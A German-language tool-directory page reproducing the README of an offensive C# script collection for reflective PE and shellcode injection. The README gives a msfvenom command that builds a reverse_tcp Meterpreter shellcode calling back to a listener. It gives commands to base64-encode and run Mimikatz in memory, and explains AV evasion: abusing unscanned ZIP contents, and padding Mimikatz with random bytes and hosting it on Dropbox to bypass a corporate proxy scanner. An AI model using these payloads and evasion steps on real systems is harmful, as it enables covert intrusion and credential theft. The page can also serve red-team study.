Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CSharpScripts — C#-Offensivskripte für reflektierende PE- und Shellcode-Injektion, In-Memory-Payload-Ausführung, XOR-Brute-Force-Shellcode-Entschlüsselung und .NET-Assembly-Parsing. | Kitploit
Tools/GitHubGitHub/arno0x/csharpscripts
Verschlüsselungs-/EntschlüsselungstoolsReverse EngineeringShellcodePost-ExploitationMalware-AnalysePenetrationstestsRed TeamingPayload-EntwicklungBinary-Exploitation
GitHubarno0x/csharpscripts

CSharpScripts

C#-Offensivskripte für reflektierende PE- und Shellcode-Injektion, In-Memory-Payload-Ausführung, XOR-Brute-Force-Shellcode-Entschlüsselung und .NET-Assembly-Parsing.

34411220vor 9 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

C#-Skripte

Autor: Arno0x0x - @Arno0x0x

Dieses Repository dient der Veröffentlichung einiger meiner C#-Skripte. Einige sind lediglich von anderen Skripten abgeleitet oder inspiriert, die ich hier und dort gefunden habe, und ich habe sie an meine Bedürfnisse angepasst oder einfach zum Lernen und Verbessern.

Entschlüsselung per Brute Force (bf), dann Laden und Ausführen eines XOR-verschlüsselten Shellcodes

bfDecryptShellcode.cs

Dieses Skript ist ein etwas einfacher und wahrscheinlich nicht sehr nützlicher PoC für die Brute-Force-Entschlüsselung eines mehrbyte-XOR-verschlüsselten Shellcodes. Sobald der Shellcode entschlüsselt ist, wird er in den Speicher geladen und ausgeführt.

Um es zu verwenden, benötigen Sie zwei Dinge:

  1. Einen mehrbyte-XOR-verschlüsselten Shellcode
  2. Den MD5-Hash der entschlüsselten Nutzlast, der als Marker dafür dient, zu erkennen, dass der richtige Entschlüsselungsschlüssel gefunden wurde

Beides können Sie mit meinem ShellcodeWrapper-Projekt erhalten, indem Sie es mit einer beliebigen rohen Metasploit-Nutzlast füttern.

Dynamisches Laden und Parsen einer .Net-Assembly

parseAssembly.cs

Diese Konsolenanwendung lädt dynamisch eine .Net-Assembly (exe oder dll), entweder aus einer lokalen Datei oder von einer URL heruntergeladen, optional base64-kodiert. Nach dem Laden zählt sie deren Typen, Methoden und Eigenschaften auf. Beispiele: parseAssembly.exe myAssembly.dll oder parseAssembly.exe http://some.site.com/myAssembly base64

Arbeiten mit PE- und Shellcode-reflektierender Injektion

Dies ist eine Sammlung von Skripten, die von Casey Smiths (@subTee) Arbeit zur reflektierenden Injektion von PE oder Shellcode in den aufrufenden Prozess aus verschiedenen Quellen adaptiert wurden.

peloader.cs

Dieses Skript lädt eine base64-kodierte x64-PE-Datei (zum Beispiel: Mimikatz oder ein Meterpreter) in den Speicher des Prozesses und führt sie reflektierend aus. Die PE wird als base64-String-Variable am Anfang der Datei übergeben (ja, sie ist fest einprogrammiert).

Sie können diesen base64-kodierten String aus einer beliebigen Datei mit folgendem *nix-Kommandozeilenbefehl erzeugen:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

Das Kompilieren des Skripts auf einem Windows-Rechner erfordert das .Net-Framework (standardmäßig ab Windows 7 installiert):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

Dieses Skript führt Shellcode in den Speicher des Prozesses aus und führt ihn reflektiv aus. Der Shellcode wird als Byte-Array in einer Variablen übergeben. Sie können den passenden Code für dieses Array automatisch mit dem msfvenom-Dienstprogramm von Metasploit generieren lassen. Um beispielsweise einen reverse_tcp-Meterpreter-Shellcode zu erzeugen:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

Das Kompilieren des Skripts auf einem Windows-Rechner erfordert das .NET Framework (standardmäßig ab Windows 7 installiert):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

Dieses Skript basiert stark und in beschämender Weise auf der Arbeit von Casey Smith (@subTee) an Netkatz, ist davon inspiriert und abgeleitet.

Ich habe festgestellt, dass der lokale Virenscanner (McAfee) auf meiner Firmen-Workstation so konfiguriert ist, dass er den Inhalt einer ZIP-Datei NICHT analysiert, vermutlich unter der Annahme, dass dieser Inhalt, wann immer er gelesen oder ausgeführt werden soll, normalerweise zuerst irgendwo auf der Festplatte entpackt würde und etwaige schädliche Inhalte zu diesem Zeitpunkt vom AV erkannt würden.

Was dieses Skript tut, ist, alles in den Speicher zu laden und nur von dort aus zu arbeiten, wobei zusätzlich Reflection verwendet wird, um eine PE aus dem Speicher des aufrufenden Prozesses auszuführen.

So schlägt der AV nicht nur überhaupt nicht an, sondern aus forensischer Sicht sieht der einzige „sichtbar laufende Prozess" vollkommen unschuldig aus.

Das Kompilieren des Skripts auf einer Windows-Maschine erfordert das .Net-Framework (standardmäßig installiert ab Windows 7):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

Sie können dann ausführen:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

Dieses Skript basiert stark auf der Arbeit von Casey Smith (@subTee) an Netkatz und ist von ihr inspiriert.

Netkatz ist ein fantastischer PoC, der die neueste Mimikatz-Version von GitHub lädt und direkt im Speicher ausführt. In meiner Umgebung stand ich jedoch vor drei Problemen:

  1. Die Internetverbindung muss über einen Unternehmensproxy hergestellt werden, der NTLM-Authentifizierung erfordert (Windows SSO ist in Ordnung)
  2. Die GitHub-Seite von Mimikatz wird vom Unternehmensproxy aufgrund der Website-Kategorisierung blockiert
  3. Die Datei mimikatz_trunked.zip wird vom Proxy-AV erkannt (ja, mit aktivierter SSL-Inspektion auf Proxy-Ebene)

Daher habe ich das ursprüngliche netkatz-Skript angepasst, um diese drei Probleme zu beheben:

  1. Unterstützung für Systemproxy und Standardanmeldeinformationen hinzugefügt (aktuell angemeldeter Windows-Benutzer)
  2. Das PE wird auf einer nicht blockierten Website gehostet, die harmlos aussieht, wie www.dropbox.com
  3. Um das PE für AV unentdeckbar zu machen, könnten wir verschiedene Obfuskationsmethoden wie Verschlüsselung oder spezifische Kodierung verwenden, aber ich bevorzuge die einfache Technik, 65536 zufällige Füllbytes am Anfang des echten x64-Mimikatz-PE hinzuzufügen:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • mimiHidden zu Dropbox hochladen und freigeben

Die URL, von der das versteckte PE heruntergeladen wird, ist im Skript fest codiert.

Das Kompilieren des Skripts auf einem Windows-Rechner erfordert das .NET Framework (standardmäßig ab Windows 7 installiert):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
Tool herunterladen